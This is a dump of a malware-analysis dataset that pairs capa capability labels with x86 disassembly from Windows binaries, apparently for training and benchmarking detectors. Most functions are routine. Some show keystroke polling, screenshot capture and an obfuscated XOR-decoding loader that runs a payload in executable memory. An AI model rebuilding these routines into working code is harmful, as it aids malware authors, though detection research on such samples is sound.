joyce8/EMBER2024-capa huggingface dataset:
Function at 0x472e30
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x472e79
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4

Function at 0x4732f0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4a7450
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.00472ea0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.00472f20
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.00472f20
lea ecx, [esi + 0xc]
call fcn.00494868
lea ecx, [esi + 0x10]
call fcn.00494868
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004744b0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004744b0
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004744b0
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.004948dd
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.004948dd
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x475d40
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x10
lea eax, [esp]
push esi
mov esi, dword [esp + 0x18]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edx, dword [esi]
push edx
call dword [sym.imp.USER32.dll_GetWindowDC]
push eax
mov dword [esi + 4], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 1
push eax
mov dword [esi + 8], eax
call dword [sym.imp.GDI32.dll_SetBkMode]
mov eax, dword [esi + 0x10]
test eax, eax
je 0x475d8a
push eax
mov eax, dword [esi + 8]
mov dword [esi + 0x18], 0
push eax
jmp 0x475db9
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 8]
mov edx, dword [esp + 0xc]
sub ecx, eax
mov eax, dword [esi + 4]
push ecx
mov ecx, dword [esp + 8]
mov dword [esi + 0x18], 1
sub edx, ecx
push edx
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [esi + 8]
push eax
mov dword [esi + 0x10], eax
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0xc]
cmp eax, 1
jne 0x475dfb
mov edx, dword [esi + 4]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push 0xcc0020
push 0
push 0
push edx
mov edx, dword [esp + 0x18]
sub eax, edx
mov edx, dword [esp + 0x14]
sub ecx, edx
mov edx, dword [esi + 8]
push eax
push ecx
push 0
push 0
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esi + 8]
pop esi
add esp, 0x10
ret 4
Function at 0x496d0c
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x496d44
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00494d84
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00494d5c
jmp 0x496d50
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x498503
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x498545
call fcn.0049ec31
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x498545
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x49853c
xor eax, eax
jmp 0x49854d
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00498553
pop edi
pop esi
pop ebx
ret 4

Function at 0x49f161
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x49f18f
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x49f1ad
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0049f0c7
jmp 0x49f1ad
mov eax, dword [esi + 0x14]
test eax, eax
je 0x49f1ad
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0049f0c7
test edi, edi
mov eax, edi
jne 0x49f197
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x401c66
pop dword [ebp - 0x50]
mov eax, 0x897a5e7e
sub eax, 0x893a4218
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xf909b024
sub dword [ebp - 0x60], 0xaab76ad9
mov dword [ebp - 0x5c], 0x4a7140fd
add dword [ebp - 0x5c], 0xe7c20b48
mov dword [ebp - 0x58], 0x10632ec0
add dword [ebp - 0x58], 0x3be9156e
mov dword [ebp - 0x54], 0x4f68188d
add dword [ebp - 0x54], 0xb097e773
lea eax, [ebp - 0x60]
push eax
mov eax, 0xd22ae99c
add eax, 0x2e1546b8
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x28e4af59
add dword [ebp - 0x60], 0x4b8db9fd
mov dword [ebp - 0x5c], 0xccc90db9
sub dword [ebp - 0x5c], 0x8b5cac44
mov dword [ebp - 0x58], 0x7c5d87cb
sub dword [ebp - 0x58], 0x18ee1b5f
mov dword [ebp - 0x54], 0x580161a7
add dword [ebp - 0x54], 0xa7fe9e59
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x654706b
sub eax, 0x614403f
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x36812
push 0
call eax
mov ecx, 0x74fc0da2
add ecx, 0x8b043a76
mov esi, eax
mov edi, 0x9f4a25b9
add edi, 0x60f64a47
add edi, dword [ebp - 0x50]
mov ebx, 0x16373f2
add ebx, 0xe3c6acd4
mov edx, dword [edi]
sub dword [ebp - 0x40], edx
xor edx, ebx
xor dword [ebp - 0x44], ecx
mov dword [esi], edx
sub dword [ebp - 0x10], edx
add esi, 4
add edi, 0xeb546bfd
add edi, 0x14ab9407
loop 0x401d88
add eax, 0x4fe0fe67
add eax, 0xb02014cc
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xf824bbbc
add ecx, 0x81b4444
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x4017f0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x417734]
test eax, eax
je 0x40183b
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 8]
push eax
push 0x413038
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
mov edx, dword [0x417734]
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
add esp, 0xc
push edx
push eax
mov eax, dword [ebp + 8]
push ecx
lea edx, [ebp - 8]
push 0x416254
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401850
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 5
push ebx
call dword [sym.imp.USER32.dll_GetWindow]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov esi, eax
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x14]
push eax
push 0x41303c
push ecx
call edi
add esp, 0xc
lea edx, [ebp - 0x118]
lea eax, [ebp - 0x14]
push 0x104
push edx
push 0
push eax
call fcn.004017f0
add esp, 0x10
test eax, eax
jne 0x4018b3
lea ecx, [ebp - 0x118]
push 0x104
push ecx
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov al, byte [ebp - 0x118]
test al, al
je 0x40190f
lea edx, [ebp - 0x118]
push edx
push ebx
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x40190f
mov eax, dword [0x41776c]
lea ecx, [ebp - 0x118]
test eax, eax
push ecx
je 0x4018fa
mov edx, dword [0x417768]
push eax
push 0x413048
push edx
call edi
mov eax, dword [0x417768]
add esp, 0x10
push eax
push 0
push 0x46f
push ebx
call dword [sym.imp.USER32.dll_GetParent]
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
test esi, esi
je 0x401962
push 0xfffffffffffffff4
push esi
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, eax
push edi
push ebx
call 0x404e50
mov edx, dword [0x417768]
add esp, 8
lea eax, [ebp - 0x14]
push 0x104
push edx
push edi
push eax
call fcn.004017f0
add esp, 0x10
test eax, eax
je 0x401953
mov ecx, dword [0x417768]
push ecx
push esi
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 2
push esi
call dword [sym.imp.USER32.dll_GetWindow]
mov esi, eax
test esi, esi
jne 0x401913
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401b00
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x100
push 0x8000
push edi
call fcn.00401470
mov ebx, dword [ebp + 0xc]
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x401b6b
mov cx, word [ebx + 0x1a]
mov dx, word [ebx + 0x18]
lea eax, [ebp - 0x10]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_DosDateTimeToFileTime]
test eax, eax
je 0x401b64
lea eax, [ebp - 8]
lea ecx, [ebp - 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
test eax, eax
je 0x401b64
lea edx, [ebp - 8]
lea eax, [ebp - 8]
push edx
push 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov cl, byte [ebx + 0x1c]
and ecx, 0x27
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401f90
Capabilities:
Copy file
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov ecx, dword [0x417794]
lea eax, [ebp - 0x104]
push esi
push eax
push 0
push 0x4130a8
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0x180
lea edx, [ebp - 0x104]
push 0x8101
push edx
call fcn.00401470
mov esi, eax
add esp, 0xc
cmp esi, 0xffffffff
je 0x40204a
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
push edi
push ebx
push eax
push ecx
push esi
call fcn.00401540
add esp, 0xc
push esi
call fcn.00401560
add esp, 4
lea edx, [ebp - 0x214]
lea eax, [ebp - 0x104]
push 0
push edx
push eax
call sub.LZ32.dll_LZOpenFileA
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x18c]
push 0x1001
push ecx
push edx
mov esi, eax
call sub.LZ32.dll_LZOpenFileA
mov edi, eax
push edi
push esi
call sub.LZ32.dll_LZCopy
push esi
mov ebx, eax
call sub.LZ32.dll_LZClose
push edi
call sub.LZ32.dll_LZClose
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, ebx
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4020d0
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov ecx, dword [0x417794]
lea eax, [ebp - 0x104]
push esi
push eax
push 0
push str.welcome
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
lea ecx, [ebp - 0x104]
push eax
push ecx
call fcn.00401f90
mov esi, eax
add esp, 0xc
test esi, esi
jle 0x402168
push edi
push 0x100
lea edx, [ebp - 0x104]
push 0x8000
push edx
call fcn.00401470
add esp, 0xc
mov edi, eax
lea eax, [esi + 1]
push eax
call fcn.0040ba70
add esp, 4
mov dword [0x417724], eax
push esi
push eax
push edi
call fcn.00401520
add esp, 0xc
push edi
call fcn.00401560
add esp, 4
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402170
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0x104
call fcn.0040ba70
add esp, 4
mov dword [0x417734], eax
push eax
mov eax, dword [0x417794]
push 0
push 0x4130bc
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov eax, dword [0x417734]
push ecx
push edx
push eax
call fcn.00401f90
add esp, 0xc
test eax, eax
jne 0x4021de
push eax
push str.Error
push str.LoadLanguage_Failed
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [0x417734]
push ecx
call fcn.0040bb20
add esp, 4
mov dword [0x417734], 0
xor eax, eax
pop ebp
ret
Function at 0x403b10
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push 0x404
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
test eax, eax
je 0x403b59
mov ecx, dword [0x4177d0]
push pe_nt_image_headers32
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov edx, dword [0x4177d0]
push edx
call fcn.004012b0
mov edx, dword [0x416234]
add esp, 4
xor ecx, ecx
cmp eax, edx
sete cl
mov eax, ecx
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40cc00
Capabilities:
Terminate process

Disassembly:
mov eax, dword [0x417468]
push ebx
push ebp
mov ebp, dword [esp + 0xc]
cmp eax, 1
push esi
jne 0x40cc1f
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
test eax, eax
mov dword [0x417464], 1
mov byte [0x417460], bl
jne 0x40cc79
mov ecx, dword [0x419d28]
test ecx, ecx
je 0x40cc67
mov esi, dword [0x419d24]
sub esi, 4
cmp esi, ecx
jb 0x40cc67
mov eax, dword [esi]
test eax, eax
je 0x40cc60
call eax
mov ecx, dword [0x419d28]
sub esi, 4
cmp esi, ecx
jae 0x40cc52
push 0x41301c
push 0x413014
call fcn.0040ccb0
add esp, 8
push 0x413024
push 0x413020
call fcn.0040ccb0
add esp, 8
test ebx, ebx
jne 0x40cca0
push ebp
mov dword [0x417468], 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebp
pop ebx
ret
Function at 0x10007a30
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x1006911b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.1005de38
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x10007ab2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.1005bd87
mov eax, dword [eax]
push 0x1009e1e4
push eax
call fcn.1004e474
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.1005e0c3
test bl, bl
je 0x10007ab2
push 0x1009e1e4
lea ecx, [esp + 0xc]
call fcn.1005e453
push 0x100a1d30
lea ecx, [esp + 0xc]
call fcn.1005e453
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x10007aee
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.1005e0c3
jmp 0x10007bb9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x10007b72
lea edx, [esp + 0x7c]
push 0x100a1d2c
push edx
call fcn.1004e474
add esp, 8
test eax, eax
je 0x10007b72
lea eax, [esp + 0x7c]
push 0x100a1d28
push eax
call fcn.1004e474
add esp, 8
test eax, eax
je 0x10007b72
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10007b02
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.1005e0c3
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x100083b0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x10008412
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x10008420
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x1006919b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x100ac4bc]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x10008558
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x10008486
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.1005e0c3
xor eax, eax
jmp 0x100085cf
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.1005e200
push esi
lea ecx, [esp + 0xc]
call fcn.1005e48f
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x100085ad
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.100083b0
test eax, eax
jne 0x100085ad
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.100083b0
test eax, eax
jne 0x100085ad
lea eax, [esp + 0x14]
push 0x100a1d44
push eax
call fcn.1004f4b0
mov esi, eax
add esp, 8
test esi, esi
jne 0x1000858c
lea ecx, [esp + 0x14]
push 0x100a1d40
push ecx
call fcn.1004f430
mov esi, eax
add esp, 8
test esi, esi
jne 0x1000858c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x1000858f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.1005e1b0
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x1000849e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.1005e0c3
xor eax, eax
jmp 0x100085cf
mov byte [esi], 0
push 0x100a1d3c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.1005e0c3
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x10018ad0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x10018b3e
cmp si, 0x69
ja 0x10018b3e
add esi, 0xffd0
cmp si, 0x11
je 0x10018b0e
push 0x11
call edi
test ax, ax
jge 0x10018b0e
or esi, 0x2000
cmp si, 0x10
je 0x10018b23
push 0x10
call edi
test ax, ax
jge 0x10018b23
or esi, 0x4000
cmp si, 0x12
je 0x10018b38
push 0x12
call edi
test ax, ax
jge 0x10018b38
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x10018b4b
mov esi, 0xbd
jmp 0x10018aff
cmp si, 0x6e
jne 0x10018b58
mov esi, 0xbe
jmp 0x10018aff
cmp si, 0x6f
jne 0x10018af9
mov esi, 0xbf
jmp 0x10018aff

Function at 0x1001a240
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x100bcaf8]
xor edx, edx
cmp eax, edx
jne 0x1001a266
xor eax, eax
mov byte [eax + 0x100bc9f8], al
inc eax
cmp eax, 0x100
jl 0x1001a24e
mov dword [0x100bcaf8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x100bc9f8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x1001a2f7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x1001a2ca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x1001a298
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x1001a370
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x1001a3c3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x1001a3aa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret